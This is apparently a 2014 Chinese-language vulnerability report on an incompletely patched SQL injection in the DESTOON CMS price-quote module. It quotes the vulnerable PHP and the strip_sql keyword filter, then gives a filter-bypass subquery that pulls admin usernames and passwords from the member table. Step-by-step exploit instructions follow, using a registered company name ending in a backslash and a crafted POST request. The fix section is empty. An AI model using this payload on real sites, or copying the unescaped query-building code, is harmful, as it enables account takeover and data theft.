DESTOON 补丁没补好导致的注射 – 网站安全 – 自学

2014-07-22
.应该对关键的地方打补

详细说明：

$post = daddslashes(dstripslashes($post));

打的补丁只是对 修改资料的$post做了daddslashes的措施 但是 注册的时候还是能注册特殊字符的 .找了一处 可以利用的地方

extract($USER, EXTR_PREFIX_ALL, '');

//common.inc.php中的初始化（登录）

/module/quote/price.inc.php

24-28

if($_userid) $post['company'] = $_company;//这里使用了
require DT_ROOT.'/module/'.$module.'/price.class.php';
$do = new price;
if($do->pass($post)) {
$do->add($post); //进入流程

price.class.php中

function add($post) {
global $MOD, $L;
$post = $this->set($post);
$sqlk = $sqlv = '';
foreach($post as $k=>$v) {
if(in_array($k, $this->fields)) { $sqlk .= ','.$k; $sqlv .= ",'$v'"; } //  遍历数据
}
        $sqlk = substr($sqlk, 1);
        $sqlv = substr($sqlv, 1);
$this->db->query("INSERT INTO {$this->table} ($sqlk) VALUES ($sqlv)");//进入查询流程
$this->itemid = $this->db->insert_id();
$this->update($this->itemid, $post);
$this->product($this->itemid, $post['pid']);
return $this->itemid;
}

由于有个转义符破坏了单引号所以可以注入

再看他的 strip_sql这个 更新了下 加了个+号但是还是可以绕过的

function strip_sql($string) {
$match = array("/union/i","/where/i","/0x([a-z0-9]{2,})/i","/select([\s\*\/\-\(\+])/i","/update([\s\*\/\-\(\+])/i","/replace([\s\*\/\-\(\+])/i","/delete([\s\*\/\-\(\+])/i","/drop([\s\*\/\-\(\+])/i","/outfile([\s\*\/\-\(\+])/i","/dumpfile([\s\*\/\-\(\+])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('union','where','0x\\1','select\\1','update\\1','replace\\1','delete\\1','drop\\1','outfile\\1','dumpfile\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','ascii(','hex(','ord(','char(');
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
}

(SELECT@pw:=PW FROM(SELECT@p:=(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) C LIMIT 0,1)

这样就绕过了

这个就是 必须有产品报价 才行

itemid = 产品报价id

exp:

注册一个账号 然后拦截注册的post数据 把company 改成 xxxx\

登录状态

http://x.com/quote/price.php

itemid=1&post[market]=1&post[price]=50&post[areaid]=1&post[company]=ok&post[note]=,(SELECT@pw:=PW FROM(SELECT@p:=(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) C LIMIT 0,1),1,3,1,1,1,1,1)#&captcha=rs8h&submit=ok

漏洞证明：

修复方案：

..